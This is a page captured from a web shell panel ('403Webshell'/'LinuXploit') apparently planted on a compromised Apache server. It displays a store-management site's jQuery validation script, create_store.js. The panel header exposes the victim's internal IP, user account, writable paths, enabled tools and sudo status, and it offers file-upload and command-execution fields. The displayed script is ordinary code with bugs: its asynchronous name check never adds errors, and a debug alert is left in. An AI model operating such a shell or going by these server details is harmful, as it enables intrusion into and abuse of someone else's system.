403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/ylreports.com_new/account/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/ylreports.com_new/account/create_store.js
var username_ok = false;
var username_edit_ok = true;
var manager_count = 0;
function make_internal_popup(data) 
{
	$('body').append('<div id="id-popup-overlay"></div>');
	$('body').append('<div id="id-popup-container"></div>');
	$('#id-popup-overlay').attr('style','z-index:10000;position:fixed;top:0px;left:0px;bottom:0px;right:0px;background:rgba(0,0,0,.6);');
	$('#id-popup-container').attr('style','z-index:10001;position:fixed;top:0px;left:0px;background:white;border-radius:16px;padding:15px;overflow:auto;');
	$('#id-popup-container').html('<img src="/images/notebook_close_24x24.png" style="position:absolute;top:4px;right:5px;width:24px;height:24px;cursor:pointer;" id="id-popup-close-button" onclick="$(\'#id-popup-container\').remove(); $(\'#id-popup-overlay\').remove();" />');
	$('#id-popup-container').append(data);
	$('#id-popup-container').css('max-height',$(window).height());
	$('#id-popup-container').css('max-width',$(window).width());
	$('#id-popup-container').css('left',$(window).width()/2 - $('#id-popup-container').width()/2);
	$('#id-popup-container').css('top',$(window).height()/2 - $('#id-popup-container').height()/2);
}
function validate_create_store_form(me) 
{
	var errors = '';
	if($.trim($(me).find('input[name=store_name]').val()) == '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The store name is required.';
	}
	if($.trim($(me).find('input[name=username]').val()) == '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The username is required.';
	}
	var str = "storeName="+encodeURIComponent($.trim($(me).find('input[name=store_name]').val()));
	$.ajax({
		url: '/account/save/checkStoreName.php',
		type: 'POST',
		data: str,
		cache: false,
		success: function(response) {
			if(response.result == "available")
			{
				
			}
			else if(response.result == "taken")
			{
				errors += (errors=='') ? '' : "\n";
				errors += 'This store is already in use.';
			}
			else
			{
				errors += (errors=='') ? '' : "\n";
				errors += 'This store is already in use.';
			}
		}
	});
	/*if($.trim($(me).find('input[name=username]').val()) != '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'This username is already in use.';
	}*/
	if($.trim($(me).find('input[name=password]').val()) == '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The password is required.';
	}
	if($(me).find('input[name=password]').val() != $(me).find('input[name=confirm_password]').val()) 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The passwords do not match.';
	}
	//Make sure they checked 2 disassembled machines
	/*var mcount = 0;
	$(me).find('.disassembled_machine').each(function() 
	{
		if($(this).is(':checked')) 
		{
			mcount++;
		}
	});
	if(mcount != 1) 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'You need to choose which machines were disassembled today.';
	}*/
	var all_dates_set = true;
	$(me).find('.store_account_date:visible').each(function() {
		if($(this).val()=='mm/dd/yyyy' || $(this).val() == '') 
		{
			all_dates_set = false;
		}
	});
	if(all_dates_set==false) 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'You must set all of the blade change and tune-up kit dates.';
	}
	if(errors!='') 
	{
		alert("Please fix the following problems\n\n"+errors);
		return false;
	} 
	else 
	{
		return true;
	}
}
function validate_delete_store_form(me) 
{
	if(confirm("Are you sure you want to delete this store?\nThis can not be undone!")) 
	{
		return true;
	} 
	else 
	{
		return false;
	}
}
function validate_import_store_settings_form(me) 
{
	if($(me).find('[name=store_id]').val() == '' || $(me).find('[name=store_id_clone]').val() == '') 
	{
		alert('You must select a store to copy settings from?');
		return false;
	} 
	else 
	{
		if(confirm("Are you sure you want to import this tasklist?\nThis can not be undone!")) 
		{
			return true;
		} 
		else 
		{
			return false;
		}
	}
}
function validate_edit_store_form(me) 
{
	var errors = '';
	if($.trim($(me).find('input[name=store_name]').val()) == '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The store name is required.';
	}
	if($.trim($(me).find('input[name=username]').val()) == '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The username is required.';
	}
	var str = "storeName="+encodeURIComponent($.trim($(me).find('input[name=store_name]').val()));
	$.ajax({
		url: '/account/save/checkStoreName.php',
		type: 'POST',
		data: str,
		cache: false,
		success: function(response) {
			if(response.result == "available")
			{
				
			}
			else if(response.result == "taken")
			{
				errors += (errors=='') ? '' : "\n";
				errors += 'This store is already in use.';
			}
			else
			{
				errors += (errors=='') ? '' : "\n";
				errors += 'This store is already in use.';
			}
		}
	});
	if($.trim($(me).find('input[name=username]').val()) != '') 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'This username is already in use.';
	}
	if($(me).find('input[name=password]').val() != $(me).find('input[name=confirm_password]').val()) 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'The passwords do not match.';
	}
	//Make sure they checked 2 disassembled machines
	var mcount = 0;
	/*$(me).find('.disassembled_machine').each(function() {
		if($(this).is(':checked')) 
		{
			mcount++;
		}
	});
	if(mcount != 1) 
	{
		errors += (errors=='') ? '' : "\n";
		errors += 'You need to choose which machines were disassembled today.';
	}*/
	var all_dates_set = true;
	$(me).find('.store_account_date').each(function() {
		alert($(this).val());
		if($(this).val() == 'mm/dd/yyyy' || $(this).val() == '') 
		{
			all_dates_set = false;
		}
	});
	if(all_dates_set==false) 
	{
		errors += (errors == '') ? '' : "\n";
		errors += 'You must set all of the blade change and tune-up kit dates.';
	}
	if(errors!='') 
	{
		alert("Please fix the following problems\n\n"+errors);
		return false;
	} 
	else 
	{
		return true;
	}
}



function setDisassembled() 
{
	$('#disassembleList').html("");
	var numberOfMachines = $('#number_of_machines').val();
	var machinesPerDay = $('#machines_per_day').val();
	var machineBlocks = Math.round(numberOfMachines / machinesPerDay) + 1;
	if(numberOfMachines > 0 && machinesPerDay > 0)
	{
		var finalHTML = "";
		var machNum = 0;
		for(var i = 0; i < machineBlocks; i++)
		{
			var checkbox = $('#machineCountContainer').find('.checkbox');
			var checkboxText = "";
			var checkboxValue = "";
			for(var x = 0; x < machinesPerDay; x++)
			{
				machNum++;
				if(x < (machinesPerDay - 1) && machNum < numberOfMachines)
				{
					checkboxText += machNum + " & ";
					checkboxValue += machNum + "<|>";
				}
				else if(x == (machinesPerDay - 1) && machNum < numberOfMachines)
				{
					checkboxText += machNum;
					checkboxValue += machNum;
				}
				else if(machNum == numberOfMachines)
				{
					checkboxText += machNum;
					checkboxValue += machNum;
				}
				$('#machineCountContainer').find('.text').text(checkboxText);
				checkbox.attr('value', checkboxValue);
			}
			if($('#machineCountContainer').find('.text').text() != "")
			{
				$('#machineCountContainer').css('display', 'block');
				var cloneHTML = $('#machineCountContainer').parent().html();
				finalHTML += cloneHTML; 
			}
		}
		$('#machineCountContainer').hide();
		$('#disassembleList').hide().html(finalHTML).show();
		if(finalHTML.length > 0)
		{
			$('#whichMachines').show();
		}
	}
	else
	{
		$('#whichMachines').hide();	
	}
	if(numberOfMachines > 0)
	{
		var finalHTML = "";
		for(var i = 0; i < numberOfMachines; i++)
		{
			$('#changeBladeContainer').find('.date').attr('name', 'changed_blades_m'+(i + 1));
			$('#changeBladeContainer').find('.text').text(i + 1); 
			$('#changeBladeContainer').find('.column').show(); 
			$('#tuneUpContainer').find('.date').attr('name', 'tune_up_m'+(i + 1));
			$('#tuneUpContainer').find('.text').text(i + 1);
			$('#tuneUpContainer').find('.column').show(); 
			var newChange = $('#changeBladeContainer').html();
			var newTune = $('#tuneUpContainer').html();
			finalHTML += newChange + newTune; 
			$('#changeBladeContainer').find('.column').hide();
			$('#tuneUpContainer').find('.column').hide();
		}
		$('#changeTuneHeader').show();
		$('#changeTuneList').hide().html(finalHTML).show();
	}
	else
	{
		$('#changeTuneHeader').hide();
		$('#changeTuneList').html("");
	}
}

function setDisassembled3day() {
	if($('#machineCountContainer_new').length>0) {
		var numberOfMachines = $('#number_of_machines').val();
		if(numberOfMachines > 0)
		{
			$('#machineCountContainer_new').find('.machine_column').hide();
			for(var i = 1; i <= numberOfMachines; i++) {
				$('#machineCountContainer_new').find('.machine_' + i).show();
			}
			var finalHTML = "";
			for(var i = 0; i < numberOfMachines; i++)
			{
				$('#changeBladeContainer').find('.date').attr('name', 'changed_blades_m'+(i + 1));
				$('#changeBladeContainer').find('.text').text(i + 1); 
				$('#changeBladeContainer').find('.column').show(); 
				$('#tuneUpContainer').find('.date').attr('name', 'tune_up_m'+(i + 1));
				$('#tuneUpContainer').find('.text').text(i + 1);
				$('#tuneUpContainer').find('.column').show(); 
				var newChange = $('#changeBladeContainer').html();
				var newTune = $('#tuneUpContainer').html();
				finalHTML += newChange + newTune; 
				$('#changeBladeContainer').find('.column').hide();
				$('#tuneUpContainer').find('.column').hide();
			}
			$('#changeTuneHeader').show();
			$('#changeTuneList').hide().html(finalHTML).show();
		}
		else
		{
			$('#changeTuneHeader').hide();
			$('#changeTuneList').html("");
		}
	}
}

function update_cleaning_log_filter(me) {
	var day = $(me).parents('div:first').find('[name=cleaning_log_filter_day]').val();
	var shift = $(me).parents('div:first').find('[name=cleaning_log_filter_ampm]').val();
	
	$('.cleaning_log_item').hide();
	if(shift=='All') {
		if(day=='All') {
			$('.cleaning_log_item').show();
		} else {
			$('.cleaning_log_day_' + day).filter(':checked').each(function() {
				$(this).parents('.cleaning_log_item:first').show();
			});
		}
	} else {
		if(day=='All') {
			$('.cleaning_log_ampm_' + shift).filter(':checked').each(function() {
				$(this).parents('.cleaning_log_item:first').show();
			});
		} else {
			$('.cleaning_log_day_' + day).filter(':checked').each(function() {
				if($(this).hasClass('cleaning_log_ampm_' + shift)) {
					$(this).parents('.cleaning_log_item:first').show();
				}
			});
		}
	}
}

$('document').ready(function() {
	if($('#machineCountContainer_new').length>0) {
		setDisassembled3day();
	}
});

Youez - 2016 - github.com/yon3zu
LinuXploit